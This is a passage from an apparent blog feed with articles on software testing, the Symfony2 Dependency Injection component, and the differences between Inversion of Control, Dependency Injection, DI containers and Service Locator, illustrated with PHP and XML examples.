to your class, allowing you to decide what should be injected: the real
dependency, or one of its stub (or mock).</p>

<p>This is why Dependency Injection is a big deal. If you don't clearly know what
is this design pattern about, I advise you to
<a href="/2014/01/22/ioc-di-and-service-locator.html">read this article</a>.</p>

<h2 id="conclusion">Conclusion</h2>

<p>Tests allow you to make sure parts of your system work as expected, and they can
be automated so you can run them regurarly in order to detect any regressions.</p>

<p>There's a lot of layers which can be tested and you might have to choose what is
best for you (the wrong answer being "no tests for me, thank you very much").</p>

<p>Dependency Injection is the right way to go, as it will allow you to use test
doubles to isolate the part you want to check.</p>

<p>This article had much theory in it, so the next one will be more practical with
code samples, case studies and tools which will allow you to test your
applications: <a href="/2014/02/12/tests-tools-overview.htm">Tools overview</a>.</p>

<h3 id="a-word-about-test-coverage">A word about test coverage</h3>

<p>I might not have stressed this out enough: <strong>tests won't magically prevent your
system from failing</strong>. This is all because your test will only cover the part
you targeted, for the use case you could think of at the time.</p>

<p>So, how to make sure your tests are enough? At first glance, test coverage might
be a solution: it's a tool which will mark any line of code executed while the
test is run and which will produce a report telling you which parts haven't been
visited.</p>

<p>The biggest flaw of such a tool is that just because you called a line doesn't
mean you tested it. The other important weakness is that not every code needs
to be tested (for example getters of values which are not altered): the report
will tell you a percentage of code covered, but it won't be able to tell you
if the covered part is the essential one.</p>

<p>In order to know if your tests cover the critical parts, mutation testing have
been invented: a tool will alter random parts of your code and run the tests. If
your tests fail, then they play well their role of guarding your application
against regressions.</p>

<p>However this is not very precise, they're slow and they can't know what are the
critical parts of your system...</p>

<p>I guess the best you can do is TDD, which we'll see in a future article ;) .</p>

<p>If you're interested in this subject, I advise you to read
<a href="http://codemanship.co.uk/parlezuml/blog/?postid=1202">Jason Gorman's article on code coverage</a>.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Symfony2 Dependency Injection component, by example]]></title>
            <link href="/2014/01/29/sf2-di-component-by-example.html"/>
            <updated>2014-01-29T00:00:00+00:00</updated>
            <id>/2014/01/29/sf2-di-component-by-example.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>Deprecated</strong>: This article has been re-written - see
  <a href="/2016/02/24/ultimate-symfony-dependency-injection.html">The Ultimate Developer Guide to Symfony - Dependency Injection</a></p>
</blockquote>

<p>In <a href="/2014/01/22/ioc-di-and-service-locator.html">the previous article</a>
we've seen among other things the definition of Dependency Injection (DI) and of
the Dependency Injection Container (DIC).</p>

<p>In this article we'll see the Symfony2's DI component which provides a powerful
DIC. Here's the summary:</p>

<ul>
<li>putting the construction of your services into configuration</li>
<li>how to use it to wire your application</li>
</ul>

<p>You don't use Symfony2? Don't worry, this article is all about using this
component as a standalone library (you can use it in your
CakePHP/Zend/Home-made-framework application).</p>

<h2 id="construction-configuration">Construction configuration</h2>

<p>DI is all about passing arguments to the constructor of an object. Because
constructing all those object might become a burden, the DIC is here to
take this responsibility and centralize it.</p>

<p>Let's replace <a href="http://pimple.sensiolabs.org/">Pimple</a> by
<a href="http://symfony.com/doc/current/components/dependency_injection/index.html">Symfony2 DI component</a>
in the code sample from the previous article:</p>

<pre><code>&lt;?php

use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\DependencyInjection\ContainerBuilder;

$container = new ContainerBuilder();

// This is a parameter definition
$container-&gt;setParameter('verbosity_level_map', array(
    OutputInterface::VERBOSITY_NORMAL =&gt; Logger::NOTICE,
    OutputInterface::VERBOSITY_VERBOSE =&gt; Logger::INFO,
    OutputInterface::VERBOSITY_VERY_VERBOSE =&gt; Logger::DEBUG,
    OutputInterface::VERBOSITY_DEBUG =&gt; Logger::DEBUG,
);

// register takes the service name, and then its fully qualified classname as a string
$container-&gt;register(
    'console_output',
    'Symfony\Component\Console\Output\ConsoleOutput'
);
$container-&gt;register(
    'output_formatter',
    'Gnugat\Fossil\ApplicationLayer\OutputFormatter'
);

// You can inject:
// * dependencies which have been declared previously
// * arguments
// * parameters which have been declared previously
// * setter dependencies
$container
    -&gt;register('console_handler', 'Symfony\Bridge\Monolog\Handler\ConsoleHandler')
    -&gt;addArgument(new Reference('console_output'))
    -&gt;addArgument(true)
    -&gt;addArgument('%verbosity_level_map%')
    -&gt;addMethodCall('setFormatter', array(new Reference('output_formatter')));
;

$container
    -&gt;register('logger', 'Monolog\Logger')
    -&gt;addArgument('default.logger')
    -&gt;addMethodCall('pushHandler', array(new Reference('console_handler')));
;

$container-&gt;register('filesystem', 'Symfony\Component\Filesystem\Filesystem');

$container
    -&gt;register('documentation_writer', 'Gnugat\Fossil\MarkdownFile\DocumentationWriter')
    -&gt;addArgument(new Reference('filesystem'))
    -&gt;addArgument(new Reference('logger'))
;
</code></pre>

<p>If you think about it, the construction of objects is a configuration thing:
you need to define for each object their dependencies. Symfony2's DI component
allows you to put all those definition inside a configuration file:</p>

<pre><code>&lt;?xml version="1.0" ?&gt;
&lt;!-- File: dic_config.xml --&gt;

&lt;container xmlns="http://symfony.com/schema/dic/services"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://symfony.com/schema/dic/services http://symfony.com/schema/dic/services/services-1.0.xsd"&gt;
    &lt;parameters&gt;
        &lt;parameter key="verbosity_Level_map" type="collection"&gt;
            &lt;parameter key="Symfony\Component\Console\Output\OutputInterface::VERBOSITY_NORMAL"&gt;Monolog\Logger::NOTICE&lt;/parameter&gt;
            &lt;parameter key="Symfony\Component\Console\Output\OutputInterface::VERBOSITY_VERBOSE"&gt;Monolog\Logger::INFO&lt;/parameter&gt;
            &lt;parameter key="Symfony\Component\Console\Output\OutputInterface::VERBOSITY_VERY_VERBOSE"&gt;Monolog\Logger::DEBUG&lt;/parameter&gt;
            &lt;parameter key="Symfony\Component\Console\Output\OutputInterface::VERBOSITY_DEBUG"&gt;Monolog\Logger::DEBUG&lt;/parameter&gt;
        &lt;/parameter&gt;
    &lt;/parameters&gt;

    &lt;services&gt;
        &lt;service id="console_output"
            class="Symfony\Component\Console\Output\ConsoleOutput"&gt;
        &lt;/service&gt;

        &lt;service id="output_formatter"
            class="Gnugat\Fossil\ApplicationLayer\OutputFormatter"&gt;
        &lt;/service&gt;

        &lt;service id="console_handler"
            class="Symfony\Bridge\Monolog\Handler\ConsoleHandler"&gt;
            &lt;argument type="service" id="console.output" /&gt;
            &lt;argument key="bubble"&gt;true&lt;/argument&gt;
            &lt;argument&gt;%verbosity_Level_map%&lt;/argument&gt;
            &lt;call method="setFormatter"&gt;
                 &lt;argument type="service" id="output_formatter" /&gt;
            &lt;/call&gt;
        &lt;/service&gt;

        &lt;service id="logger" class="Monolog\Logger"&gt;
            &lt;argument&gt;default.logger&lt;/argument&gt;
            &lt;call method="pushHandler"&gt;
                 &lt;argument type="service" id="console_handler" /&gt;
            &lt;/call&gt;
        &lt;/service&gt;

        &lt;service id="filesystem"
            class="Symfony\Component\Filesystem\Filesystem"&gt;
        &lt;/service&gt;

        &lt;service id="documentation_writer"
            class="Gnugat\Fossil\MarkdownFile\DocumentationWriter"&gt;
            &lt;argument type="service" id="filesystem" /&gt;
            &lt;argument type="service" id="logger" /&gt;
        &lt;/service&gt;
    &lt;/services&gt;
&lt;/container&gt;
</code></pre>

<p>And here's the code sample allowing you to feed the DIC with this configuration:</p>

<pre><code>&lt;?php

// File: front_controller.php

use Symfony\Component\Config\FileLocator;
use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;

$container = new ContainerBuilder();
$configurationDirectory = new FileLocator(__DIR__);

$loader = new XmlFileLoader($container, $configurationDirectory);
$loader-&gt;load('dic_config.xml');

$documentationWriter = $container-&gt;get('documentation_writer');
$documentationWriter-&gt;write('/tmp/example.txt', 'Hello world');
</code></pre>

<p>The construction of our objects has been completely removed from the code and
has been put into a configuration file. Actually, we've replaced object
constructions by container initialization, which is way more concise.</p>

<h3 id="configuration-format">Configuration format</h3>

<p>The Symfony2's DI component <a href="http://symfony.com/doc/current/components/dependency_injection/configurators.html">allows many configuration formats</a>:</p>

<ul>
<li>plain PHP (like in our first code sample)</li>
<li>XML (like in our second code sample)</li>
<li><a href="http://www.yaml.org/">YAML</a></li>
</ul>

<p>I wouldn't advise you to use YAML format, as it needs to introduce
<a href="http://symfony.com/doc/current/components/dependency_injection/parameters.html#yaml">special formating in order to support advanced options</a>
like:</p>

<ul>
<li>prefixing services ID's with <code>@</code></li>
<li>prefixing services ID's which aren't mandatory with <code>@?</code></li>
<li>prefixing <code>@</code> with <code>@</code> in order to escape them</li>
<li><a href="http://symfony.com/doc/current/book/service_container.html#using-the-expression-language">prefixing expressions with <code>@=</code></a></li>
</ul>

<p>Not to mention the fact that it doesn't support every options (for instance
<a href="http://symfony.com/doc/current/components/dependency_injection/parameters.html#constants-as-parameters">you cannot declare constants as parameters</a>)</p>

<p>On the other hand, the only thing XML doesn't support is concatenation:</p>

<pre><code>&lt;?php

use Symfony\Component\DependencyInjection\ContainerBuilder;

$container = new ContainerBuilder();
// Needs to be done in plain PHP
$container-&gt;setParameter('skeletons_path', __DIR__.'/skeletons');
</code></pre>

<p>XML can be easily validated and it also can be read by many software like IDE's
which can use it in order to provide you with blissful autocompletion.</p>

<p>If you're concerned about performances (reading XML might be slower than
requiring directly plain PHP), Symfony2's DI component allows you to convert it
into plain PHP and dump it into a cache file which you can then include in
your application: <a href="http://symfony.com/doc/current/components/dependency_injection/compilation.html#dumping-the-configuration-for-performance">take a look at the documentation</a>.</p>

<h2 id="wiring-your-application">Wiring your application</h2>

<p>There's a fantastic conclusion we can deduce from the above section: we can
reduce the lines of codes of our projects simply by extracting object
construction and putting it into configuration files.</p>

<p>Object construction is part of the "wiring layer" of your application: it
doesn't solve your "business problem", nor does it solve your
"application problem". It simply is the boilerplate code necessary to write
those.</p>

<p>Let's explore the impact of wiring your application using Symfony2's DI
component. You might not have noticed it, but the code samples used in the
previous article as well as in this one all come from <a href="https://github.com/gnugat/fossil">fossil</a>,
a command which allows you to bootstrap markdown files of your projects
(<a href="/2014/01/15/bootstrap-markdown-files-of-your-FOSS-project.html">cf this article</a>).
It uses Symfony2's Console component which requires some boilerplate code in
order to create the application:</p>

<pre><code>&lt;?php

// This is the front controller of the application
// File: fossil

use Gnugat\Fossil\DocCommand;
use Symfony\Component\Config\FileLocator;
use Symfony\Component\Console\Application;
use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;

$container = new ContainerBuilder();
$configurationDirectory = new FileLocator(__DIR__);

$loader = new XmlFileLoader($container, $configurationDirectory);
$loader-&gt;load('dic_config.xml');

$documentationWriter = $container-&gt;get('documentation_writer');

$docCommand = new DocCommand($documentationWriter);

$application = new Application('Fossil', '2.0.0');
$application-&gt;add($docCommand);

$output = $container-&gt;get('console_output');

$application-&gt;run(null, $output);
</code></pre>

<p>Can you imagine what this front controller can become if we were to add more
commands? You'd rather not? Me neither, that's why I advise you to put all this
boilerplate code into a configuration file:</p>

<pre><code>&lt;?xml version="1.0" ?&gt;

&lt;!-- File: dic_config.xml --&gt;

&lt;container xmlns="http://symfony.com/schema/dic/services"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://symfony.com/schema/dic/services http://symfony.com/schema/dic/services/services-1.0.xsd"&gt;
    &lt;services&gt;
        &lt;service id="console_output"
            class="Symfony\Component\Console\Output\ConsoleOutput"&gt;
        &lt;/service&gt;

        &lt;service id="output_formatter"
            class="Gnugat\Fossil\ApplicationLayer\OutputFormatter"
        &lt;/service&gt;

        &lt;service id="console_handler"
            class="Symfony\Bridge\Monolog\Handler\ConsoleHandler"
            &lt;argument type="service" id="console.output" /&gt;
            &lt;argument key="bubble"&gt;true&lt;/argument&gt;
            &lt;argument&gt;%verbosity_Level_map%&lt;/argument&gt;
            &lt;call method="setFormatter"&gt;
                 &lt;argument type="service" id="output_formatter" /&gt;
            &lt;/call&gt;
        &lt;/service&gt;

        &lt;service id="logger" class="Monolog\Logger"&gt;
            &lt;argument&gt;default.logger&lt;/argument&gt;
            &lt;call method="pushHandler"&gt;
                 &lt;argument type="service" id="console_handler" /&gt;
            &lt;/call&gt;
        &lt;/service&gt;

        &lt;service id="filesystem"
            class="Symfony\Component\Filesystem\Filesystem"
        &lt;/service&gt;

        &lt;service id="documentation_writer"
            class="Gnugat\Fossil\MarkdownFile\DocumentationWriter"
            &lt;argument type="service" id="filesystem" /&gt;
            &lt;argument type="service" id="logger" /&gt;
        &lt;/service&gt;

        &lt;service id="doc_command" class="Gnugat\Fossil\DocCommand"&gt;
            &lt;argument type="service" id="documentation_writer" /&gt;
        &lt;/service&gt;

        &lt;service id="application"
            class="Symfony\Component\Console\Application"&gt;
            &lt;argument key="name"&gt;Fossil&lt;/argument&gt;
            &lt;argument key="version"&gt;2.0.0&lt;/argument&gt;
            &lt;call method="add"&gt;
                 &lt;argument type="service" id="doc_command" /&gt;
            &lt;/call&gt;
        &lt;/service&gt;
    &lt;/services&gt;
&lt;/container&gt;
</code></pre>

<p>Which allows us to reduce our front controller:</p>

<pre><code>&lt;?php

// This is the front controller of the application
// File: fossil

use Symfony\Component\Config\FileLocator;
use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;

$container = new ContainerBuilder();
$configurationDirectory = new FileLocator(__DIR__);

$loader = new XmlFileLoader($container, $configurationDirectory);
$loader-&gt;load('dic_config.xml');

$application = $container-&gt;get('application');

$output = $container-&gt;get('console_output');

$application-&gt;run(null, $output);
</code></pre>

<p>Now our concern is the size of the <code>dic_config.xml</code> file which will keep growing
each time we create new services. Don't panic! You can split it into many files
using the <code>imports</code> tag:</p>

<pre><code>&lt;?xml version="1.0" ?&gt;

&lt;!-- File: config/dic.xml --&gt;

&lt;container xmlns="http://symfony.com/schema/dic/services"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://symfony.com/schema/dic/services http://symfony.com/schema/dic/services/services-1.0.xsd"&gt;
    &lt;imports&gt;
        &lt;import resource="01-application.xml" /&gt;
        &lt;import resource="02-documentation_writer.xml" /&gt;
    &lt;/imports&gt;
&lt;/container&gt;
</code></pre>

<p>We created a <code>config</code> directory to put all those XML files, which means we
should change our front controller to:</p>

<pre><code>&lt;?php

// This is the front controller of the application
// File: fossil

use Symfony\Component\Config\FileLocator;
use Symfony\Component\DependencyInjection\ContainerBuilder;
use Symfony\Component\DependencyInjection\Loader\XmlFileLoader;

$container = new ContainerBuilder();
$configurationDirectory = new FileLocator(__DIR__.'/config');

$loader = new XmlFileLoader($container, $configurationDirectory);
$loader-&gt;load('dic.xml');

$application = $container-&gt;get('application');

$output = $container-&gt;get('console_output');

$application-&gt;run(null, $output);
</code></pre>

<p>The creation of the <code>config/01-application.xml</code> and
<code>config/02-documentation_writer.xml</code> files is left as an exercise for the
reader.</p>

<h2 id="conclusion">Conclusion</h2>

<p>The Symfony2's Dependency Injection component can be used outside of a Symfony2
application. It provides a powerful DIC which can be initialized using
configuration files. This means that boilerplate code (also called "wiring
layer") can be removed from your code and put in configuration files, hooray!</p>

<p>I hope you enjoyed this article, be sure to
<a href="https://twitter.com/epiloic">tweet me what you think about it</a> ;) .</p>

<h3 id="nota-bene">Nota bene</h3>

<p>We've used the component as a standalone library, but everything we've done
here is possible inside a Symfony2 fullstack application.</p>

<p>There's also some tips I'd like to share with you:</p>

<h3 id="doctrine-repositories-as-services">Doctrine repositories as services</h3>

<p>The construction of Doctrine repositories is fully handled by the EntityManager,
which means:</p>

<ol>
<li>you cannot inject them as dependencies in your own services</li>
<li>you cannot inject dependencies into them</li>
</ol>

<p><a href="https://gist.github.com/gnugat/8314217">Or can you?</a></p>

<h3 id="service-locator">Service locator</h3>

<p><a href="/2014/01/22/ioc-di-and-service-locator.html">The previous article</a>
spoke about service locator, which is all about using DIC as a dependency. If
you still don't see what it means, take a look at <a href="https://github.com/symfony/symfony/blob/master/src/Symfony/Component/DependencyInjection/ContainerAware.php">Symfony2 ContainerAware classes</a>.</p>

<p>For example, a <a href="https://github.com/symfony/symfony/blob/master/src/Symfony/Bundle/FrameworkBundle/Controller/Controller.php">Symfony2 controller</a>
uses the DIC as a Service Locator. In this specific case it might be justified,
as the controller shouldn't contain any logic: its purpose is to pass the
request's parameters to some services, and to feed their return values as the
response's parameters.</p>

<p>Keep in mind that in your own code, there's a 99.99% chance that using Service
Locator is a unjustified decision ;) .</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Inversion of Control, Dependency Injection, Dependency Injection Container and Service Locator]]></title>
            <link href="/2014/01/22/ioc-di-and-service-locator.html"/>
            <updated>2014-01-22T00:00:00+00:00</updated>
            <id>/2014/01/22/ioc-di-and-service-locator.html</id>
            <content type="html"><![CDATA[<p>If you don't want to read this article, just jump to the <a href="#conclusion">conclusion</a>
which sums it up in 44 words.</p>

<p>If you've never heard of those (or one of those), this article will teach you
what they are.</p>

<p>If you know what are those, but don't know what's the difference between them,
this article will teach you what it is.</p>

<p>If you know what are those and what's the difference between them... Well read
this article and tell me what you think about it on
<a href="https://twitter.com/epiloic">Twitter</a> ;) .</p>

<p>Those big names actually refer to simple design patterns and principles which
might help you in your projects. Maybe you've been using them without knowing it!</p>

<h2 id="inversion-of-control">Inversion of Control</h2>

<p>This principle is very abstract, as it is based on the way you use objects
rather than specifying how to write them.</p>

<p>To keep things short: IoC (Inversion of Control) is all about relationship
between higher level classes and detail classes. Higher level classes shouldn't
depend on detail classes, but rather the contrary.</p>

<p>In order to ensure this, higher level classes should depend on abstractions
(like interfaces) instead of depending on concrete classes. Also, you should
make sure that higher level classes own detail classes.</p>

<p>While I understand this principle, I cannot make a better explanation than this
which is really a shame. But I know a good article which can:
<a href="http://lostechies.com/derickbailey/2011/09/22/dependency-injection-is-not-the-same-as-the-dependency-inversion-principle/">Dependency Injection is NOT the same as the Dependency Inversion Principle, by Derick Bailey</a>.</p>

<p>I really encourage you to read it as it explains very well the problem IoC tries
to solve, with some good (and graphical) examples.</p>

<h2 id="dependency-injection">Dependency Injection</h2>

<p>Let's explain each words:</p>

<ul>
<li>a dependency is an object used by your class</li>
<li>an injection is the fact of passing an argument to a function</li>
</ul>

<p>Some people instanciate those dependencies inside the class which use them, for
example:</p>

<pre><code>&lt;?php

namespace Gnugat\Fossil\MarkdownFile;

use Symfony\Component\Filesystem\Filesystem;

class DocumentationWriter
{
    public function write($absolutePathname, $content)
    {
        $filesystem = new Filesystem();
        if (!$filesystem-&gt;exists($absolutePathname)) {
            $filesystem-&gt;dumpFile($absolutePathname, $content);
        }
    }
}

$documentationWriter = new DocumentationWriter();
$documentationWriter-&gt;write('/tmp/example.txt', 'Hello world');
</code></pre>

<p>There's nothing wrong with this code, but it could be improved.</p>

<p>First of all, it happens that <code>Filesystem</code> is "stateless": you can call every
methods it has, in the order you want, it won't change the way it behaves. Which
means you could create a single instance for your whole application: it would
save some precious memory.</p>

<p>Second of all, this class cannot be tested: if anything, you would be testing
<code>Filesystem</code> itself by checking if the file was written with the same name and
content.</p>

<p>DI (Dependency Injection) is used to solve these two problems: you should first
create the instance of <code>Filesystem</code> and then pass it to (inject it into)
<code>DocumentationWriter</code>:</p>

<pre><code>&lt;?php

namespace Gnugat\Fossil\MarkdownFile;

use Symfony\Component\Filesystem\Filesystem;

class DocumentationWriter
{
    public function write(Filesystem $filesystem, $absolutePathname, $content)
    {
        if (!$filesystem-&gt;exists($absolutePathname)) {
            $filesystem-&gt;dumpFile($absolutePathname, $content);
        }
    }
}

$filesystem = new Filesystem();

$documentationWriter = new DocumentationWriter();
$documentationWriter-&gt;write($filesystem, '/tmp/example.txt', 'Hello world');
</code></pre>

<p>The dependency can now be shared throughout your application, and you can pass
a mock of it which will be able to tell you which method was called.</p>

<p>Injection is usually done via the constructor:</p>

<pre><code>&lt;?php

namespace Gnugat\Fossil\MarkdownFile;

use Symfony\Component\Filesystem\Filesystem;

class DocumentationWriter
{
    private $filesystem;

    public function __construct(Filesystem $filesystem)
    {
        $this-&gt;filesystem = $filesystem;
    }

    public function write($absolutePathname, $content)
    {
        if (!$this-&gt;filesystem-&gt;exists($absolutePathname)) {
            $this-&gt;filesystem-&gt;dumpFile($absolutePathname, $content);
        }
    }
}

$filesystem = new Filesystem();

$documentationWriter = new DocumentationWriter($filesystem);
$documentationWriter-&gt;write('/tmp/example.txt', 'Hello world');
</code></pre>

<p>Time to time, injection will be done via setters:</p>

<pre><code>&lt;?php

namespace Gnugat\Fossil\MarkdownFile;

use Symfony\Component\Filesystem\Filesystem;

class DocumentationWriter
{
    private $filesystem;

    public function setFilesystem(Filesystem $filesystem)
    {
        $this-&gt;filesystem = $filesystem;
    }

    public function write($absolutePathname, $content)
    {
        if (!$this-&gt;filesystem-&gt;exists($absolutePathname)) {
            $this-&gt;filesystem-&gt;dumpFile($absolutePathname, $content);
        }
    }
}

$filesystem = new Filesystem();

$documentationWriter = new DocumentationWriter();
$documentationWriter-&gt;setFilesystem($filesystem);
$documentationWriter-&gt;write('/tmp/example.txt', 'Hello world');
</code></pre>

<p>Setter injection is used when you have no control on the object construction,
and can be dangerous: if the setter isn't called, a runtime error will occur.</p>

<p>To help debug this kind of error, you can do this:</p>

<pre><code>&lt;?php

namespace Gnugat\Fossil\MarkdownFile;

use Symfony\Component\Filesystem\Filesystem;

class DocumentationWriter
{
    private $filesystem;

    public function setFilesystem(Filesystem $filesystem)
    {
        $this-&gt;filesystem = $filesystem;
    }

    public function write($absolutePathname, $content)
    {
        if (!$this-&gt;getFilesystem()-&gt;exists($absolutePathname)) {
            $this-&gt;getFilesystem()-&gt;dumpFile($absolutePathname, $content);
        }
    }

    private function getFilesystem()
    {
        if (!($this-&gt;filesystem instanceof Filesystem)) {
            $msg = 'The Filesystem dependency is missing.';
            $msg .= ' Did you forgot to call setFilesystem?';
            throw new \LogicException($msg);
        }

        return $this-&gt;filesystem;
    }
}

$documentationWriter = new DocumentationWriter();
// Will throw an exception with a helpful message.
$documentationWriter-&gt;write('/tmp/example.txt', 'Hello world');
</code></pre>

<p>You shouldn't need to use setter injection in your own class, but rather on
classes which extend third party library.</p>

<p>For example Doctrine's repositories can only be retrieved using its
<code>EntityManager</code>, which mean you don't have the control on its construction. If
you need to pass dependencies to it, you'll have to use setter injection.</p>

<h3 id="dependency-injection-and-inversion-of-control">Dependency Injection and Inversion of Control</h3>

<p>The subject of <a href="http://lostechies.com/derickbailey/2011/09/22/dependency-injection-is-not-the-same-as-the-dependency-inversion-principle/">the article previously quoted</a>
is the relation between DI and IoC: some people confuse them and think they're
the same by simply deducing that IoC is injecting interfaces instead of concrete
classes.</p>

<p>While combining them is possible, you should remember that IoC is first a matter
of higher level classes owning their detail classes. The principle (IoC) and the
design pattern (DI) are really different things.</p>

<h2 id="dependency-injection-container">Dependency Injection Container</h2>

<p>The flaw of DI is the manual construction of all those objects: some classes
might have dependencies which themselves have dependencies. And even without
deep dependencies, manually creating a large number of classes is never
pleasant.</p>

<p>The biggest risk is to scatter object construction in the whole application and
losing track of it: if you don't know that an object has already been
constructing you might accidently construct it again.</p>

<p>Let's add a dependency on <a href="https://github.com/Seldaek/monolog">Monolog</a> to our
<code>DocumentationWriter</code> (plus some custom configuration to spice it up):</p>

<pre><code>&lt;?php

use Gnugat\Fossil\ApplicationLayer\OutputFormatter;
use Gnugat\Fossil\MarkdownFile\DocumentationWriter;
use Monolog\Logger;
use Symfony\Bridge\Monolog\Handler\ConsoleHandler;
use Symfony\Component\Console\Output\ConsoleOutput;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Filesystem\Filesystem;

$verbosityLevelMap = array(
    'OutputInterface::VERBOSITY_NORMAL' =&gt; Logger::NOTICE,
    'OutputInterface::VERBOSITY_VERBOSE' =&gt; Logger::INFO,
    'OutputInterface::VERBOSITY_VERY_VERBOSE' =&gt; Logger::DEBUG,
    'OutputInterface::VERBOSITY_DEBUG' =&gt; Logger::DEBUG,
);

$consoleOutput = new ConsoleOutput();
$outputFormatter = new OutputFormatter();
$consoleHandler = new ConsoleHandler(
    $consoleOutput,
    true,
    $verbosityLevelMap
);
$consoleHandler-&gt;setFormatter($outputFormatter);

$logger = new Logger('default.logger');
$logger-&gt;pushHandler($consoleHandler);

$filesystem = new Filesystem();

$documentationWritter = new DocumentationWriter(
    $filesystem,
    $logger
);
$documentationWriter-&gt;write('/tmp/example.txt', 'Hello world');
</code></pre>

<p>It's quite a burden isn't it?</p>

<p>The DIC (Dependency Injection Container) solves this problem by taking the
responsibility of creating them for you. technically, you still write all of
these lines, but instead of putting them mixed with business logic code you put
it in a separate file.</p>

<p>DIC can be found in many languages:</p>

<ul>
<li>java, for example with <a href="http://docs.spring.io/spring/docs/2.5.6/reference/beans.html">Spring</a></li>
<li>PHP, for example with <a href="http://framework.zend.com/manual/2.0/en/modules/zend.di.introduction.html">Zend\Di</a></li>
<li>js, for example in <a href="http://angularjs.org/">AngularJs</a></li>
</ul>

<p>To better understand what is a DIC, we'll take a look at <a href="pimple.sensiolabs.org">Pimple</a>,
a small DIC for PHP using a javascript-like syntax.</p>

<p>Pimple can be considered as an array in which you can put parameters and
"factories": an anonymous function which creates an instance of the class.</p>

<p>Here's the code sample:</p>

<pre><code>&lt;?php

// File: dic.php

use Gnugat\Fossil\ApplicationLayer\OutputFormatter;
use Gnugat\Fossil\MarkdownFile\DocumentationWriter;
use Monolog\Logger;
use Symfony\Bridge\Monolog\Handler\ConsoleHandler;
use Symfony\Component\Console\Output\ConsoleOutput;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Filesystem\Filesystem;

$dic = new Pimple();

// This is a parameter definition
$dic['verbosity_level_map'] = array(
    'OutputInterface::VERBOSITY_NORMAL' =&gt; Logger::NOTICE,
    'OutputInterface::VERBOSITY_VERBOSE' =&gt; Logger::INFO,
    'OutputInterface::VERBOSITY_VERY_VERBOSE' =&gt; Logger::DEBUG,
    'OutputInterface::VERBOSITY_DEBUG' =&gt; Logger::DEBUG,
);

// Thess are a factory definition
$dic['console_output'] = $dic-&gt;share(function($dic) {
    return new ConsoleOutput();
});
$dic['output_formatter'] = $dic-&gt;share(function($dic) {
    return new OutputFormatter();
});

// You can inject dependencies which have been declared previously
$dic['console_handler'] = $dic-&gt;share(function($dic) {
    $consoleHandler = new ConsoleHandler(
        $dic['console_output'],
        true,
        $dic['verbosity_level_map']
    );
    $consoleHandler-&gt;setFormatter($dic['output_formatter']);

    return $consoleHandler
});

$dic['logger'] = $dic-&gt;share(function($dic) {
    $logger = new Logger('default.logger');
    $logger-&gt;pushHandler($dic['console_handler']);

    return $logger
});

$dic['filesystem'] = $dic-&gt;share(function($dic) {
    return new Filesystem();
});

$dic['documentation_writer'] = $dic-&gt;share(function($dic) {
    return new DocumentationWriter(
        $dic['filesystem'],
        $dic['logger']
    );
});
</code></pre>

<p>So, what's the big difference between this and the previous code sample? Well
now you centralized all your instances into a single container, the definition
of your object is done in a central place (you can move it into a file
<code>dic.php</code> for example) and the best of all: classes will be instanciated lazily,
which means as long as you don't aks for them they won't be created, and once
you created them they won't be created a second time.</p>

<p>In your application, you just need to pass the DIC and use it:</p>

<pre><code>&lt;?php

// File: front_controller.php

require_once __DIR__.'/dic.php';

// Now you can retrieve instances from the DIC
$documentationWriter = $dic['documentation_writer'];

$documentationWriter-&gt;write('/tmp/example.txt', 'Hello world');
</code></pre>

<p>I must stress on the fact that object creation is now centralized: the code
from the first example (the one without DIC) could be scattered into different
places of your application.</p>

<h3 id="dependency-injection-container-and-ioc">Dependency Injection Container and IoC</h3>

<p>Again, people often mixep up those two for the same reason they mix up DI and
IoC. There's a lot of <a href="https://github.com/rande/python-simple-ioc">DIC libraries which have been falsely called ioc</a>.</p>

<p>Please, don't make the same mistake.</p>

<h3 id="dependency-injection-container-and-singleton">Dependency Injection Container and Singleton</h3>

<p>Singleton is a design pattern saying that a given object should only be
instanciated once and that it should be guarded from being instanciated a second
time.</p>

<p>Here's an implementation example of a singleton:</p>

<pre><code>&lt;?php

// Code from https://github.com/domnikl/DesignPatternsPHP/blob/master/Singleton/Singleton.php

class Singleton
{
    protected static $instance;

    public static function getInstance()
    {
        if (null === static::$instance) {
            static::$instance = new static;
        }

        return static::$instance;
    }

    private function __construct()
    {
        // is not allowed to call from outside: private!
    }
}
</code></pre>

<p>While in our example the DIC makes sure our objects are constructed only once,
we can't call them singletons as nobody prevents you from creating them a second
time manually.</p>

<p>Keep in mind that DIC aren't always making sure of this: in our example we've
used <a href="https://github.com/fabpot/Pimple/blob/1.1/lib/Pimple.php#L116">the special share method</a>
of Pimple to ensure it, but you can also retrieve a new instance on every call:</p>

<pre><code>&lt;?php

use Symfony\Component\Finder\Finder;

$dic['finder'] = function($dic) {
    return new Finder();
});

$firstFinder = $dic['finder'];
$secondFinder = $dic['finder'];
</code></pre>

<p>To recap: DI and DIC have nothing to do with Singleton.</p>

<h2 id="service-locator">Service Locator</h2>

<p>The classes you put into the DIC can be called <code>Services</code>: they will execute
a task for you when you call them.</p>

<p>A Service Locator isn't just a container of services which gets them when you
ask it to: what we described is simply a DIC. To be a Service Locator, a DIC
must be injected as a dependency.</p>

<p>This might happen with classes which have many dependencies: instead of
injecting them one by one you can inject directly the DIC and let the class
retrieve the services it needs.</p>

<p>You should be warned that this is generally a bad idea: a class which requires
too many dependencies should be splitted into several smaller classes.</p>

<p>There is however some cases when Service Locator are usefull, for example
controllers are good candidates as their only responsibility is to pass input
to services and to return output.</p>

<p>To be more precise, Service Locator shouldn't be used in your business logic,
but rather in objects which serve as intermediate between two layers.</p>

<p>Here's a <a href="http://ralphschindler.com/2012/10/10/di-dic-service-locator-redux">good article about when to use Service Locators by Ralph Schindler</a>.</p>

